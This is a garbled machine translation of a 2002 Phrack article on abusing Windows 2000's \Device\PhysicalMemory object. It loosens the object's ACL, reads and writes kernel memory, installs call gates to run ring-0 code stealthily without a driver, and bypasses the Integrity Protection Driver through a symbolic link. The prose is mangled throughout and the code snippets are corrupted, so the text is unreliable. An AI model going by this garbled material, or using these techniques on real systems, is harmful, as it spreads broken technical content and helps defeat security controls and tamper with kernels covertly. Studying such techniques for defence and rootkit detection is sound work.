Windows NT 2000 Ring0 Code Implementation
Ring0 code that doesn't have to drive in this Windows NT / 2000 is brothers
http://win32.51.net/cgi-bin/topic.cgi?forum=1&topic=4&show=0
Play Windows / DEV / (K) MEM (p59-0X10)
Creation time: 2002-08-15
Article attribute: translation
Article Source: http://www.xfocus.org/
Article submission: Refdom (Refdom_at_263.net)
Original: "Playing with Windows / DEV / (K) MEM" (P59-0X10)
Author: crazylord
Translation: Refdom
Email: refDom@xfocus.org (Refdom@263.net)
Homepage: http://www.xfocus.org /(Http://www.opengram.com/)
Date: 2002-8-11
(REFDOM Note: Some of the technologies provided herein have actually have many related articles before, but this article provides a very good deep
The idea of the analysis is worth learning. )
1 Introduction
2, introduce the Windows object
2.1 What are they?
2.2 them
2.3 object operation
3, Introduction / Device / PhysicalMemory
3.1 object
3.2 Do you need to write permissions?
4, play / device / physicalmemory
4.1 Read / write memory
4.2 What is CallGate
4.3 Don't drive Run Ring0 code
4.4 In-depth process table
4.5 Bonus TRACK
5, code example
5.1 kmem.h
5.2 CHMOD_MEM.C
5.3 WinkDump.c
5.2 Winkps.c
5.4 fun_with_ipd.c
6 Conclusion
7, reference
--[ 1 Introduction
This article introduces Windows / dev / kmem, my research is implemented on Windows 2000 Professional, which means this article
Most code can run on the Windows 2000 version, slightly change, can also run on XP. Obviously Windows 9x / Me will not support,
Because their core structure is not the same.
- [2 Introduce Windows objects
Windows2000 uses an object model to provide a very simple way to operate most of the basic core elements. We can see these pairs in this section.
Icon and how to do it.
---- [2.1 What Are They?
According to Microsoft's statement, the design object manager will reach these purposes:
* Easy to identify named objects
* Support POSIX subsystem
* Provide convenient way to operating system resources
* Provide a filling mechanism to limit the resources used by the process
* Adapt to the requirements of C2 security.
There are 27 different object types:
* Adapter * file * semaphore
* Callback * oCompletion * SymbolicLink
* Controler * Job * Thread
* Desktop * Key * Timer
* Device * mutant * token
* Directory * Port * Type
* Driver * Process * Waitableport
* Event * Profile * WindowStation
* Eventpair * section * Wmiguid
Most of these objects can see what they are about from the command. I will explain some blurred names: * A EventPair is just 2 EVENT objects
* Mutant is also known as a mutex, is a synchronization mechanism for processing resource access.
* Port is an inter-processus communication by LPC (LOCAL Procedure Call).
* Semaphore is a counter restricted access to a counter
* Token (access token) is a security object
* WindowStation is a desktop object container.
These objects may be similar to the directory tree structure:
- /
- ArcName (Symbolic Links to Harddisk Partitions)
- NLS (Sections ...)
- Driver (Installed Drivers)
- Wmiguid
Device (/ dev Linux like)
- DMControl
- Rawdmvolumes
- HardDiskdmvolumes
- PhysicalDmvolumes
- Windows
- WindowStations
- RPC Control
- BasenaMedObjects
- Restricted
Current User Directory
- FileSystem (Information About Installable Files System)
- ObjectTypes (Contains All AvaiBect Types)
- Security
- Callback
- KNOWNDLLS (Contains Sections of Most Used DLL)
"??" directory is the current user directory, "Device" can be seen as a / dev on Linux. You can be on the sysinternals website
Find this structure.
---- [2.2 their structure
Each object contains two parts: object heads and object entities. Sven B. Schreiber in "Windows 2000 Undocument Secrets"
The book defined in the book, the head structure that was not open was expressed. We can take a look at these head structures.
---
From w2k_def.h:
Typedef struct _object_header {
/ * 000 * / dWord Pointercount; // Number of References
/ * 004 * / DWORD handlevount; // Number of Open Handles
/ * 008 * / POBJECT_TYPE OBJECTTYPE; // Pointer to Object Type Struct
/ * 00c * / byte nameoffset; // Object_name offset
/ * 00d * / byte handledboffset; // Object_handle_db offset
/ * 00e * / byte quotachargeSoffset; // Object_quota_charges offset
/ * 00f * / byte Objectflags; // ob_flag_ *
/ * 010 * / Union
{// ob_flag_create_info? ObjectcreateInfo: quotablock
/ * 010 * / pquota_block quotablock;
/ * 010 * / POBJECT_CREATE_INFO OBJECTCREATEINFO;
}
/ * 014 * / psecurity_descriptor security;
/ * 018 * /} Object_header, * pobject_header;
---
Each of the heads is negatively offset, so if you want to find the object_name structure from the head structure, you should calculate: address = Object_header_address - Name_offset
The Object_name structure allows the creator to make an object visible to other processes by assigning a name.
Object_handle_db structure allows core tracking current who is using this object.
Object_quota_charges structure is used to define quotas for access objects.
Object_type structure stores global information about object types, such as: default security permissions, object size, process used objects
Issue.
Object Binding security descriptors allow core to limit object access.
The internal programs of each object type are very close to constructors and descriptions in C objects:
* DUMP METHOD - may be to debug the purpose, always null
* Open method - is called when the object handle is turned on
* Close Method - is called when the object handle is turned off
* Delete method - is called when the object handle is deleted
* Parse Method - is called when querying the list of objects
* SECURITY METHOD - Calls when reading and writing the current object
* Query Method - When the thread query object name is called
* "OK to Close" - call when closing the handle
The structure of the object is completely relying entirely in the object type, and there is only a few part of the object structure in the DDK being disclosed. If you are in these structures
Interest, you can use Google or view Chapeaux-Noirs' home page (see [4])
--- [2.3 Object operation
From the viewpoint of user mode, the object operation is performed by the Windows API. For example, in order to access the file object, you can make
Use fopen () / open (), they call createfile (). We translate to core mode (ntcreatefile ()) in ntoskrnl.exe
Use IOCREATEFILE (). By reforring IOCREATEFILE (), some functions can be seen, such as ObopenObjectByname,
ObfdeReferenceObject, ...
(BTW: If you use Win2k Symbols downloaded in the DDK site (see [2]), you can only see these functions, support Windows Symbols
File contrauser, such as IDA / KD / Softice, because these functions are not exported. )
Each function begins with an OB, indicating that the object manager is related. Basically, ordinary developers don't have to deal with these objects, but we want
Go see.
For user mode, all object manager related functions can be output by NTDLL.DLL, there are some examples:
NtcreatedIRectoryObject, NTCreateSymbolicLinkObject, NTDUPLICATEOBJECT,
NTMAKETEMPORARYOBJECT, NTOPENDIRECTORYOBJECT, ...
Some functions are disclosed in MSDN, but most of them are not.
If you really want to understand the working method of the object, it is best to look at the OB-start function in ntoskrnl.exe. There are 21 export functions,
6 of them are open.
If you want to see other 15 prototypes, go to NTIFS.H's home page (see [3]) or go to ChapeauX-Noirs site (see [4]).
- [3 - Introduction / Device / PhysicalMemory
In order to view object information, we need a core debug tool similar to Microsoft DDK. Ok, let's start now ... Microsoft (R) Windows 2000 Kernel Debugger
Version 5.00.2184.1
CopyRight (c) Microsoft Corp. 1981-1999
Symbol Search Path IS: C: / WinNT / Symbols
Loading dump file [livekd.dmp]
Full kernel dump file
KERNEL VERSION 2195 UP FREE
KERNEL BASE = 0x80400000 psloadedModuleList = 0x8046a4c0
Loaded KDextx86 Extension DLL
Loaded Userkdx Extension DLL
Loaded DBGHELP EXTENSION DLL
F1919231 EB30 JMP F1919263
KD>! Object / Device / PhysicalMemory
! Object / Device / PhysicalMemory
Object: E1001240 TYPE: (FD038880) Section
ObjectHeader: E1001228
Handlecount: 0 Pointercount: 3
Directory Object: FD038970 Name: PhysicalMemory
An analysis of the basic object from KD (Kernel Debugger) tells us some information. Don't explain the meaning of all content, most of them
It's very clear that as long as you read the article, if not, please "jmp dord introduction_to_windows_Objects".
Interested, it is a section object, clearly showing that we have to handle memory. Now we have the head structure of the Dump object.
KD> DD E1001228 L 6
DD E1001228 L 6
E1001228 00000003 00000000 FD038880 12200010
E1001238 00000001 E1008BF8
DETAILS:
-> 00000003: Pointercount = 3
-> 00000000: Handlecount = 0
-> fd038880: Pointer to Object type = 0xfd038880
-> 12200010 -> 10: NameOffset
-> 00: HandledBoffset
-> 20: quotachargeoffset
-> 12: Objectflags = ob_flag_persmanent & ob_flag_kernel_mode
-> 00000001: Quotablock
-> E1008BF8: SecurityDescriptor
NameOffset exists, don't be surprised, this object has a name ... but there is no handledboffset. This means this object
Not tracking the assigned handle. Quotachargeoffset is not interesting, ObjectFlags tells us this object is a permanent object, and
Heart created.
There is still not very interesting to now ...
Dump's name structure of this object, just convinced that we didn't go wrong :). (Remember that the offset is negative)
KD> DD E1001228-10 L3
DD E1001228-10 L3
E1001218 FD038970 001C001C E1008AE8
-> fd038970: Pointer To Object Directory
-> 001C001C -> 001c: unicode_string.length -> 001c: unicode_string.maximumlength
-> E1008AE8: Unicode_String.Buffer (Pointer to Wide Char String)
KD> du e1008ae8
Du E1008AE8
E1008AE8 "PhysicalMemory"
I have something to do now, security descriptors:
KD>! SD E1008BF8
! SD E1008BF8
-> Revision: 0x1
-> SBZ1: 0x0
-> Control: 0x8004
SE_DACL_PRESENT
SE_SELF_RELATIVE
-> Owner: S-1-5-32-544
-> Group: S-1-5-18
-> DACL:
-> Dacl: -> ACLREVISION: 0x2
-> Dacl: -> SBZ1: 0x0
-> Dacl: -> aclsize: 0x44
-> Dacl: -> acecount: 0x2
-> Dacl: -> SBZ2: 0x0
-> Dacl: -> ace [0]: -> acetype: Access_allowed_Ace_type
-> Dacl: -> ace [0]: -> aceflags: 0x0
-> Dacl: -> ace [0]: -> acesize: 0x14
-> Dacl: -> ace [0]: -> Mask: 0x000f001f
-> Dacl: -> ace [0]: -> SID: S-1-5-18
-> Dacl: -> ace [1]: -> aceactype: access_allowed_ace_type
-> Dacl: -> ace [1]: -> aceflags: 0x0
-> Dacl: -> ace [1]: -> acesize: 0x18
-> Dacl: -> ace [1]: -> Mask: 0x0002000d
-> Dacl: -> ace [1]: -> SID: S-1-5-32-544
-> Sacl: Is Null
In short, this means that the / device / physicalmemory object has the following permissions:
User System: delete, Change Permissions, Change Owner, Query Data,
Query State, Modify State
User Administrator: Query Data, Query State
Basically, the admin user does not write, but SYSTEM can, this actually means that the administrator can do it!
Be sure to actually don't like / dev / kmem! ! In Linux / DEV / KMEM Mapping Virtual Memory, / Device / PhysicalMemory
Mapping physical memory, the more exact title this article should be "Playing with Windows / dev / Mem" because / dev / MEM mapping physical memory,
But / dev / kmem sounds more familiar. :)
As far as I know, when I wrote this article, the Section object structure has not been dissected yet, so we can't analyze its structure.
---- [3.2 "Write" authority?
Ok, we are user administrator, and intends to play the object of playing, what should I do? As most Windows administrators
As you know, you can run any process as a System user with the Schedule service. If you want to be sure you can, just start Schedule
"Net Start Schedule" and open a task to perform regedit.exe
C: /> at
Because only the user's SYSTEM has read power.
Ok, if we are administrator users, but if we allow anyone to write / device / physicalmemory what will happen?
? (Of course, for the purpose of learning)
As long as we add another ACL to this object, you can. Follow the steps below:
1. Open / Device / PhysicalMemory handle (NTOPENSECTION)
2, find its security descriptor (GetSecurityInfo)
3. Add Read / Write Authorization in the current ACL (STENTRIESINACL)
4, update safety descriptor (SetSecurityInfo)
5, turn off the previously opened handle
Can refer to sample code: chmod_mem.c
When you run chmod_mem.exe, we will once again Dump / Device / PhysicalMemory's security descriptor.
KD>! Object / Device / PhysicalMemory
! Object / Device / PhysicalMemory
Object: E1001240 TYPE: (FD038880) Section
ObjectHeader: E1001228
Handlecount: 0 Pointercount: 3
Directory Object: FD038970 Name: PhysicalMemory
KD> DD E1001228 0x14 L1
DD E1001228 0x14 L1
E100123C E226E018
KD>! SD E226E018
! SD E226E018
-> Revision: 0x1
-> SBZ1: 0x0
-> Control: 0x8004
SE_DACL_PRESENT
SE_SELF_RELATIVE
-> Owner: S-1-5-32-544
-> Group: S-1-5-18
-> DACL:
-> Dacl: -> ACLREVISION: 0x2
-> Dacl: -> SBZ1: 0x0
-> Dacl: -> aclsize: 0x68
-> Dacl: -> acecount: 0x3
-> Dacl: -> SBZ2: 0x0
-> Dacl: -> ace [0]: -> acetype: Access_allowed_Ace_type
-> Dacl: -> ace [0]: -> aceflags: 0x0
-> Dacl: -> ace [0]: -> acesize: 0x24
-> Dacl: -> ace [0]: -> Mask: 0x00000002
-> Dacl: -> ace [0]: -> SID: S-1-5-21-1935655697-436374069-1060284298-500
-> Dacl: -> ace [1]: -> aceactype: access_allowed_ace_type
-> Dacl: -> ace [1]: -> aceflags: 0x0
-> Dacl: -> ace [1]: -> acesize: 0x14
-> Dacl: -> ace [1]: -> Mask: 0x000f001f
-> Dacl: -> ace [1]: -> SID: S-1-5-18
-> Dacl: -> ace [2]: -> acetype: access_allowed_ace_type
-> Dacl: -> ace [2]: -> aceflags: 0x0
-> DACL: -> ace [2]: -> acesize: 0x18
-> Dacl: -> ace [2]: -> Mask: 0x0002000d-> DACL: -> ace [2]: -> SID: S-1-5-32-544
-> Sacl: Is Null
The new ACE (Access-Control Entry) is ACE [0], with 0x00000002 permissions (section_map_write). need more
Information, you can view the Security Win32 API in MSDN [9]
- [4 - Turn / Device / PhysicalMemory
Why do you want to handle / device / physicalmemory? I can say to read, write, and repair memory. This is enough.
---- [4.1 Read and write memory
let us start……
In order to read and write / device / physicalmemory, you must:
1. Open the object handle (NTOPENSECTION)
2. Translate the virtual memory address for the physical address
3, mapping section to physical space (NTMapViewOfsection)
4, read and write data in the mapping memory
5. Turn off the Section Map (NTUNMAPVIEWOFSEC)
6, close the object handle (NTCLOSE)
Now our main purpose is how to transform the virtual memory address for the physical address. We know in the core mode (Ring0), there is a letter
MmgetPhysicalAddress (ntoskrnl.exe) can do. But now in Ring3, so we must come to "simulation" this
function.
---
From NTDDK.H
Physical_address mmgetphysicaladdress (void * baseaddress);
---
Physical_address is a Quad-Word (64 BITS). Originally planning to analyze assembly code at the beginning of the article, but it is too long
. The address transformation is also very common, I just want to make this topic soon.
The low position of Quad-Word is passed to EAX, and the high is passed to EDX. There are two ways to translate virtual addresses to physical addresses.
* Case 0x80000000 <= baseaddress <0xa0000000:
The only thing we have to do is just a 0x1fff000 mask virtual address.
* Case Baseaddress <0x80000000 && baseaddress> = 0xa0000000
This approach is a bit problem for us, because we don't have a way to transform the address in this range, because we need to read CR3
Record or run non-RING3 can be called assembly instructions. For more information, please refer to Intel Software Developer's Manual
Volume 3 (See [5]).
Elicz tells me that in his experience, you can guess a physical address offset mask, reserved the index of the part. Mask: 0xffff000
This is a lightweight version of MMGETPHYSICALALADDRESS ()
Physical_Memory MygetPhysicalAddress (Void * BaseAddress) {
IF (BaseAddress <0x80000000 || BaseAddress> = 0xa0000000) {
Return (BaseAddress & 0xfffff000);
}
Return (BaseAddress & 0x1fff000);
}
For the limit address boundary as [0x80000000, 0xA0000000] Mainly this situation cannot be more successfully guess. That's why
If you want more accurate, it is best to call the actual mmgetPhysicalAddress (). We can see how to do it in some chapters.
Please refer to the program: see winkdump.c
After using WinkDump, I realized that there is still another problem. When the virtual address of 0x877ef000 or more, the result of the physical address is 0x00000000077E0000 or more, but it is impossible in my system!
KD> DD MMHIGHESTPHYSICALPAGE L1
DD MMHIGHESTPHYSICALPAGE L1
8046A04C 000077EF
From now on, the last physical page is positioned at 0x0000000077EF0000. This means we can only dump a small piece of memory, but in short
The purpose of the text is to get a better understanding of how to use / device / PhysicalMemory, not just to make a good Memory Dumper.
Although the range of DUMP is the area mapped by Ntoskrnl.exe and Hal.dll (Hardware Abstract Layer), you can still
Do some tools to DUMP system call table:
KD>? keserviceDescriptable
KESERVICEDEScriptable
Evaluate Expression: -2142852224 = 8046AB80
0x8046AB80 is the system service table structure, like this:
Typedef struct _sst {
PDWORD ServiceTable; // Array of Entry Points
PDWORD CounterTable; // Array of Usage Counters
DWORD serviceLIMIT; // Number of Table Entries
PBYTE argumenttable; // array of byte counters
} SST, * PSST;
C: / coding / phrack / winkdump / release> winkdump.exe 0x8046AB80 16
*** WIN2K MEMORY DUMPER Using / Device / PhysicalMemory ***
Virtual Address: 0x8046AB80
Allocation Granularity: 65536 BYTES
OFFSET: 0xAb80
Physical address: 0x0000000000460000
Mapped size: 45056 bytes
View size: 16 bytes
D8 04 47 80 00 00 00 F8 00 00 00 BC 08 47 80 | ..g ......... g.
Array of Pointers to Syscalls: 0x804704d8 (Symbol Kiserventable)
Counter Table: NULL
ServiceLimit: 248 (0xF8) Syscalls
Argument Table: 0x804708BC (Symbol KiargumentTable)
We have not yet dump248 system calls address, just look at this:
C: / coding / phrack / winkdump / release> winkdump.exe 0x804704d8 12
*** WIN2K MEMORY DUMPER Using / Device / PhysicalMemory ***
Virtual Address: 0x804704d8
Allocation Granularity: 65536 BYTES
OFFSET: 0x4D8
Physical address: 0x0000000000470000
Mapped size: 4096 bytes
View size: 12 bytes
BF B3 4A 80 6B E8 4A 80 F3 DE 4B 80 | ..j.k.j ... k. * 0x804ab3bf (NTACCEPTCONNECTPORT)
* 0x804ae86b (NTACcessCheck)
* 0x804BDEF3 (NTACcessCheckandauditaram)
In the following section, we will understand what is Callgate, and how we use them to solve it.
Just the problem of address transformation.
---- [4.2 What is CallGate
Callgate is a mechanism that allows programs to run at higher permissions than it. For example, RING3 program can be executed
Ring0 code.
To create a CallGate, you must specify:
1) What Ring is required to do code?
2) Function addresses that will be performed when jumping to RING0
3) Parameters pass to the function
When CallGate is accessed, the processor first checks, saves the current SS, ESP, CS, EIP registers, and then
Load Segment Selector and new stack pointer (Ring0 stack), from TSS to SS, EIP register. This pointer can be reflected in the new
Ring0 stack. The SS and ESP registers are copied in the PUSH to the stack, and the parameters are copied. CS and EIP (saved) Push to the stack to call the call
Sequence to a new stack. The new Segment Selector is loaded to handle new code snippets from CallGate to CS and EIP and
Instruction pointer. Finally, it jumps to the function address specified when creating Callgate.
Once completed, the function executed in RING0 must clear your stack, which is why we define a function in your code.
To use _Declspec (Naked) (MS VC 6) (similar to __attribute __ (stdcall) in GCC)
---
From msdn:
__DECLSPEC (Naked) Declarator
For functions declared with Naked, the compiler does not produce ProLog and Epilog code. You can use these features to compile by inline
The code is written in your own proLog and Epilog code.
---
To learn more about Callgate, please refer to Intel Software Developer's Manual Volume 1 ([5]).
In order to install a CallGate, there are two options: manual in GDT looking for new empty entrances, used to place our CallGate;
Or in ntoskrnl.exe's undisclosed function, these functions can only be accessed in RING0. Since we are not Ring0, there is no
Too many use, but I still explain:
NTSTATUS Kei386allocategdtselectors (Ushort * Selectorarray,
Ushort nselectors;
NTSTATUS Kei386ReleaseGdtselectors (Ushort * Selectorarray,
Ushort nselectors;
NTSTATUS Kei386SETGDTSELECTOR (Ushort Selector,
Pvoid descriptor;
From their name, you can know its role. :) So, if you intend to install a CallGate, first use
Kei386allocategdtselectors () Assign a GDT Selector and then sets with KEI386SETGDTSELector. after finishing,
Released by Kei386ReleaseGDTSelectors. This is also very interesting, but it doesn't meet our needs. So when Ring3 is executed, you need to set a GDT Selector.
This is close to / device / physicalmemory. In the next section, I will explain how to use / Device / PhysicalMemory to install CallGate.
---- [4.3 Don't drive Run Ring0 code
The first question, "Why doesn't Ring Ring0 code don't need to be driven with device?"
advantage:
* No need to register SCM
* Secret code
Disadvantages:
* The code cannot be stable as the device driver
* Need to add write permissions to / device / PhysicalMemory
So I have to keep it, when running Ring0 code via / device / physicalmemory, you will encounter a lot of difficulties.
Now we can write memory and we know that we can use CallGate to run Ring0, then what are you waiting for?
First, we need to know what part of the section maps to read the GDT table. This is not a problem, because we can access global descriptions
The final record is compiled through the SGDT.
Typedef struct _kgdtenTry {
Word LimitLow; // Size in bytes of the GDT
Word Baselow; // Address of GDT (Low Part)
Word Basehigh; // Address of GDT (High Part)
} KGDTENTRY, * PKGDTENTRY;
KGDT_ENTRY GGDT;
_ASM SGDT GGDT; // Load Global Descriptor Table Register INTO GGDT
We translate the virtual address from BaseLow / BaseHigh to physical address, then we close the base address of the GDT table. We are fortunate, ie
The GDT table address is not within our "imagination", it can also be converted correctly (99% possible)
PhysicalAddress = getPhysicalAddress (ggdt.basehigh << 16 | ggdt.baselow);
NTMapViewOfsection (SectionHandle,
ProcessHandle,
Baseaddress, // Pointer to mapped memory
0L,
GGDT.Limitlow, // size to map
& PhysicalAddress,
& Viewsize, // Pointer to mapped size
Viewshare,
0, // Allocation Type
Page_readwrite; // Protection
Finally, we looped the address to find an idle selector, by viewing "Present" in the CallGate descriptor structure.
mark.
Typedef struct _callgate_descriptor {
Ushort offset_0_15; // low part of the function address
Ushort selector;
Uchar param_count: 4;
Uchar Some_bits: 4;
Uchar Type: 4; // segment or gate type
Uchar app_system: 1; // segment descriptor (0) or system segment (1)
Uchar DPL: 2; // Specify Which Privilege Level Can Call IT
Uchar present: 1;
Ushort offset_16_31; // high part of the function address} Callgate_Descriptor, * pcallgate_descriptor;
Offset_0_15 and offset_16_31 is exactly the low and high position of the function address. Selector can be one of the following:
--- from NTDDK.H
#define KGDT_NULL 0
#define kgdt_r0_code 8 // <- what we need (Ring0 code)
#define kgdt_r0_data 16
#define kGDT_R3_CODE 24
#define kgdt_r3_data 32
#define kgdt_tss 40
#define kGDT_R0_PCR 48
#define kgdt_r3_teb 56
#define kgdt_vdm_tile 64
#define KGDT_LDT 72
#define KGDT_DF_TSS 80
#define KGDT_NMI_TSS 88
---
Once CallGate is installed, there is still two steps to get the highest RING0 power: write our CallGate calls and calls
Callgate.
As mentioned in 4.2, we need to write a function and have Ring0's Prolog / Epilog, and we need yourself.
Clear the stack. Take a look at the sample code below:
Void __declspec (naked) Ring0Func () {// out function:]
// Ring0 Prolog
_asm {
Pushad // Push EAX, ECX, EPX, EBX, EBP, ESP, ESI, EDI ONTO THE Stack
Pushfd // Decrement Stack Pointer by 4 and Push Eflags Onto The Stack
CLI // Disable Interrupt
}
// Execute Your Ring0 Code Here ...
// Ring0 Epilog
_asm {
POPFD // Restore Registers Pushed by Pushfd
POPAD // Restore Registers Pushed by Pushhad
RETF // You May Retf
}
}
Push all registers to the stack allow us to save all registers when Ring0 code is executed.
There is another step, call CallGate ......
A basic call does not apply to a CallGate program that is actually in Ring3 in Ring3. We need "FAR CALL"
(Inter-Privilege Level Call), so in order to call Callgate, you must do this:
Short farcall [3];
Farcall [0 -> 1] = offset from the target Operand. this is ignored when a
Callgate is buy accounting to "IA-32 Intel Architecture Software
Developer's Manual (Volume 2) "(See [5]).
Farcall [2] = Callgate Selector
At this time, we can call your own Callgate through the inline.
_asm {
Push arg1
...
Push argn
Call fword ptr [farcall]
}
I forgot to remind, in the Callgate function, the first parameter of FarCall is located in [EBP 0CH]. ---- [4.4 In-depth process list
Now we can see how to use the lowest level to list the core processes. This purpose is to create one under low levels
Core process enumeration procedure, can be used to see the process hidden by rootkit (modified Taskmgr.exe, system call hook, etc.)
- Process32First / Process32Next, the simplest open path (normally)
- Use the NTQuerySystemInformation, Native API of Class 5. Although there is no disclosure, there are many examples on the Internet.
Level-1)
- With ExpGetProcessInformation, it is actually called by NTQuerySystemInformation (Level-2)
- Read the two-way linked list PSactiveProcesshead (level -3)
Now we have enough deeper. This two-way linked table looks like this:
APL (f): ActiveProcessLinks.flink
APL (b): ActiveProcessLinks.blink
Process1 Process2 Process3 Processn
0x000 | ------------ | ------------ |
| EProcess | | EPROCESS | | EPRocess |
| ... | | ... | | ... |
0x0A0 | APL (f) | -----> | APL (f) | -----> | APL (f) | -----> ...
0x0A4 | APL (b) | / - <- | APL (b) | / - <- | APL (b) | / - <- ...
| ... | | ... | | ... |
| ---------- | | ---------- | ---------- |
As you can see (maybe my diagram is not good), the NEXT / PREV pointer of the ActiveProcessLinks structure is not _eprocess
Structural pointer. They point to another list_entry structure. This means that if we have to get the _eprocess structure address, you must adjust
Section pointer.
(Please study the _eprocess structure defined in the routine ")
List_entry ActiveProcessLinks is located in the _eprocess structure of the offset 0x0A0:
-> Flink = 0x0a0
-> BLINK = 0x0A4
Therefore, we can create some macros for use:
#define to_eprocess (_A) ((char *) _A - 0xA0) // FLINK to _EPROCESS
#define to_pid (_A) ((char *) _A - 0x4) // Flink to uniqueProcessid
#define to_pname (_A) ((char *) _A 0x15c) // Flink to ImageFileName
The head of the list_entry linked list is PSACTIVEPROCESSHEAD. You can get its address with KD:
KD>? PSactiveProcessheadhead
PSACTIVEPROCESSHEAD
Evaluate Expression: -2142854784 = 8046A180
Just know one thing. This chain list is very fast, you can lock it before reading it. The following procedure is read with compilation
ExpGetProcessInformation:
MOV ECX, Offset_PspactiveProcessMutexCall DS: __ IMP_ @ ketacquirefastmutex @ 4
[...]
MOV ECX, Offset_PspActiveProcessmutex
Call DS: __ ivp_ @ exreleasefastmutex @ 4
ExacquirefastMuteX and ExreleaseFastMutex are defined as _fastcall, so the parameters are in the reverse order
(EXC, EDX, ...). They are output at HAL.DLL. BTW, I didn't lock in Winkps.c.
First we install a CallGate to perform a Ring0 function (MMGETPHYSICALALADDRESS AND
ExacquirefastMutex / ExceptMutex, then we enumerate the process and finally remove the callgate.
Please see Winkps.c
As you see in routines, install Callgate is a simple step. The difficult part is to read the List_Entry structure. This is a bit strange,
Because reading a linked list should not be like assumed, it is clear that we are handling physical memory.
First avoid using too much CallGate, you should use it less as possible. Remember, running Ring0 code in Ring3 is not a "good thing". in
The allocation level of thread execution will have problems, second, your thread (I think) will have lower priority than device driver, even if you make
Use setthreadpriority ().
Scheduling program is based on two things to schedule, the basic priority of the process and the current priority, when you use Win32 API setthreadPriority ()
Modify the priority of the thread, the current priority is changed, but it is just relative to basic priority. In Ring3, there is no way to go
Change the basic priority of the process.
In order not to take all the section of the project, I only map 1MB sections when I need it. I think this is the best way.
Because most EPROCESS structures are positioned within the 0xFCE ***** to 0xFCF *****.
C: / Coding / Phrack / Winkps / Release> Winkps
*** Win2k Process Lister ***
Allocation Granularity: 65536 BYTES
MmgetphysicalAddress: 0x804374e0
Virtual Address of GDT: 0x80036000
Physical Address of GDT: 0x0000000000036000
Allocated segment: 3FB
Mapped 0xb000 bytes @ 0x00430000 (INIT SIZE: 0xA184 BYTES)
Mapped 0x100000 BYTES @ 0x0043e000 (INIT Size: 0x100000 Bytes)
8 System
Mapped 0x100000 Bytes @ 0x0054e000 (INIT SIZE: 0x100000 Bytes)
136 SMSS.exe
160 CSRSS.exe
156 Winlogon.exe
208 Services.exe
220 lsass.exe
420 Regsvc.exe
436 SVCHOST.EXE
480 svchost.exe
524 Winmgmt.exe
Mapped 0x100000 Bytes @ 0x0065e000 (INIT SIZE: 0x100000 Bytes)
656 Explorer.exe 764 Osa.exe
660 mdm.exe
752 cmd.exe
532 msdev.exe
604 ssh.exe
704 Livekd.exe
716 i386kd.exe
448 uedit32.exe
260 Winkps.exe
3 Sections mapping 1 To select the first process queue look good. I will carefully describe in Winkps.c, but
It is best to take time to read the code.
Winkps.c process
- getSysteminfo ()
First allocate the interval of the system (used to calculate the offset of address transformation)
- loadingLibrary ()
Get the mmgetPhysicalAddress address in ntoskrnl.exe. This can also be done by breaking down the PE header.
- NTOPENSECTION
R / W Open / Device / PhysicalMemory
- installcallgate ()
Map Section to install and delete CallGate, and use the second parameter as the CallGate function to install.
- DisplayProcess ()
Main loop. Capture errors via an exception. I do this is to try to clear CallGate even if there is a fault of closer access.
Mistake (wrong mapping)
- uninstallcallgate ()
Delete CallGate, cancel mapping
- NTClose ()
Simply close handle
Now, you should read the code and try to override WinkDump.c and use to support CallGate better address transformation. :>
---- [4.5 Bonus TRACK
What I can know is that now the only product is limited to / device / physicalMemory is "Integrity Protection"
Driver (ipd) "Pedestal Software (see [6]).
---
From readme:
The ipd forbids any process from Opening / Device / PhysicalMemory.
---
Oh, use IPD, we have to contact / device / physicalmemory, I don't know if this product is famous, but no
On how, I have to bypass it. To restrict access / device / physicalmemory, IPD hook Zwopensection (),
And check if section is not opened by calling / device / physicalMemory.
---
From h_mem.c
IF (restrictnabled ()) {
IF (ObjectAttributes && ObjectAttributes-> Objectname &&
Objectattributes-> Objectname-> length> 0) {
IF (_wcsicmp (Objectttributes-> Objectname-> buffer,
L "// device // physicamemory") == 0) {
Wchar BUF [200];
SWPRINTF (BUF,
L "Blocking Device / PhysicalMemory Access,
Procid = 0x% x / n ", psgetcurrentprocessid ());
Debugoutput (buf);
Return status_access_denied;
}
}
}
---
_WCSICMP () provides two cases of Unicode Buffer, so we find ways to open objects with other names. In the first quarter, we have seen the Symbolic Link object type, so if we can connect with the Symbolic Link object
/ Device / PhysicalMemory, isn't that good?
You can find a function called "NTCreateSymbolicLinkObject" by viewing NTDLL.DLL.
It is interesting to do so, it is not disclosed. Its prototype is similar:
NTSTATUS NTCREATESYMBOLICLICLICLICOBJECT (Phandle SymlinkHandle,
Access_mask desiredAccess,
POBAT_ATTRIBUTES OBATTRIBUTES,
Punicode_String Obname;
Therefore, we only need to call this function with "/ device / physicalmemory" as Obname, and in Object_Attributes
Set new names in the structure. We use "/ ?? /" as the root directory of the object, then the name is: "/? / Hack_DA_IPD".
At first, I asked myself to call NTOPENSEC using "/ ?? / hack_da_ipd", how to handle Symbolic Link.
If NTOPENSECTION checks the target object is a symbolic link, then call NTOPENSECTION again, and use the object
Real name, our Symbolic Link is useless because IPD can detect. So I followed:
---
[...]
3 NTCreateSymbolicLinkObject (0x1, {24, 0, 0x40, 0, 0,
"/? / HACK_DA_IPD"}, 1245028, ... 48,) == 0x0
4 NTallocatevirtualMemory (-1, 12444448, 0, 1244480, 4096, 4, ...) == 0x0
5 NtrequestWaitreport (36, {124, 148, 0, 16711934, 42222620, 256, 0}, ...
{124, 148, 2, 868, 840, 7002, 0},) == 0x0
6 NTOPENSECTION (0x4, {24, 0, 0x40, 0, 0, "/ ?? / hack_da_ipd"}, ... 44,)
== 0x0
7 ntrequestwaitreport (36, {124, 148, 0, 868, 840, 7002, 0}, ... {124,
148, 2, 868, 840, 7003, 0},) == 0x0
8 NTClose (44, ...) == 0x0
9 NtClose (48, ...) == 0x0
[...]
---
(Windows version of Strace can be found in Bindview's Razor site. [7])
As you can see, the NTOPENSECTION function will not re-reset yourself to handle real object names, which is great! such,
/ Device / PhysicalMemory is completely us, and ipd is very bad. Remember, you must run the program under System users.
- [5 sample code license:
Sample Code Provided with The Article May Be Copied / Duplicated and Modified
IN ANY FORM As long as this copyright is prepended unmodified.
Code Are Proof of Concept and The Author Can and Must Not Be Made
Responsible for Any Damage / Data Loss.
Use this code at your ing risk.
Crazylord / CNS
---- [5.1 kmem.h
Typedef struct _unicate_string {
Ushort Length;
Ushort maximumlength;
PWSTR BUFFER;
} Unicode_string, * punicode_string;
#define obj_case_insensitive 0x00000040L
#define obj_kernel_handle 0x00000200L
TypedEf long NTSTATUS;
#define status_success (ntstatus) 0x00000000L
#define status_access_denied (ntstatus) 0xc0000022L
#define make_dword (_l, _h) (dword) (_L | (_H << 16))
